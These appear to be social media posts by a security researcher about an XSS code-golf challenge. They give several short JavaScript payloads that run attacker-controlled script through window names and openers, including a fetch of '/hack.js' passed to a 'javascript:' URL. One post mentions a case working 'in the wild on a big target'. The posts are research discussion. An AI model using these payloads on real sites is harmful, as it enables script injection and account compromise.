I think with the race condition 11 is possible with: open(top.x)?

This is 13 without the race condition, using your cool build up method @terjanq.me:

www.tomanthony.co.uk/temp/joax1.h...

Within the rules of no framing / no window context, I think we can get down to 64 with:

fetch`/hack.js`.then(r=>r.text()).then(b=>open('javascript:'+b))

Or if you are 'cheating' and using the run() function on the page then you can do 16:

run(top[0].name)

If the real case was truly frameable, then you iframe another page on joaxcar.com, and then iframe this one with this 20 character payload:

location=top[0].name

If it isn't frameable, you can do 23 chars:

location=opener[0].name

I feel the same. I feel like years of Twitter made me much more cautious about what I shared. Trying to get out of that mindset now.

I'm not sure that it is! But don't know for sure. I'll see if I can crack it this evening, but otherwise I'll ping your way. (Though you need to follow me so I can DM)

Making lunch and already found one case partially working in the wild on a big target. Ping me a DM on X (@tomanthonyseo) if you want to collab on it! :)

This is incredible research!

I’m here! :)

This is basically identical to how I hack! Look for the new thing and then see something that looks interesting. Hopefully get far enough that I have a ‘lead’ and take it from there.